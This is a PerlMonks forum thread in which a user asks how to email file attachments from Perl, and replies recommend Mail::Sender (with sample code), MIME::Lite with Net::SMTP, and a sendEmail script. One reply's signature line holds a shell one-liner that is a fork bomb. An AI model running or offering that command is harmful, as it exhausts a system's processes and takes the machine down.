Zitoune has asked for the wisdom of the Perl Monks concerning the following question:

I wanted to send an e-mail and attach files to it.
How do i do that ??
I know that i should use NET::SMTP....

Replies are listed 'Best First'.
Re: Attach Files
by ibanix (Hermit) on Dec 05, 2002 at 19:02 UTC
    Deja-vu. I just answered this...

    Mail::Sender will probally do what you want.
    #!/usr/bin/perl -w use strict; use Mail::Sender; # How these are defined is left as an exercise to the reader my ($from, $to, $subject, $message, $file, $server); # Create our message handler ref (my $mail = new Mail::Sender { smtp => $server } ) or die "Mail er +ror: $Mail::Sender::Error\n"; # Message header $mail->Open({ from => $from, to => $to, subject => $subject }) or die +"Mail error: $Mail::Sender::Error\n"; $mail->Body; # Add the "intro" message $mail->SendLineEnc("$message\n"); # Attachment $mail->Attach({ description => 'My Attachment', ctype => 'text/plain', encoding => '7bit', disposition => 'attachment; filename="attach.txt"; type +="Text file"', file => 'attach.txt' } ); # Close & send message $mail->Close;


    .sig
    $ echo '$0 & $0 &' > foo; chmod a+x foo; foo;
Re: Attach Files
by fruiture (Curate) on Dec 05, 2002 at 19:02 UTC

    Nope, Net::SMTP is probably a more existing choice :)

    SMTP is not responsible for your MIME-problems, so Net::SMTP has little to do with the actual attachment creation. MIME::Lite is probably the easiest way to create correct messages, which can then be sent using Net::SMTP of course.

    --
    http://fruiture.de
Re: Attach Files
by zentara (Cardinal) on Dec 06, 2002 at 15:37 UTC
    Hi, this script was just on http://freshmeat.net. It is a command line script, for sending email with attachments. It only uses Sockets, and does it's own Base64 encoding. An easy way out.:-) sendEmail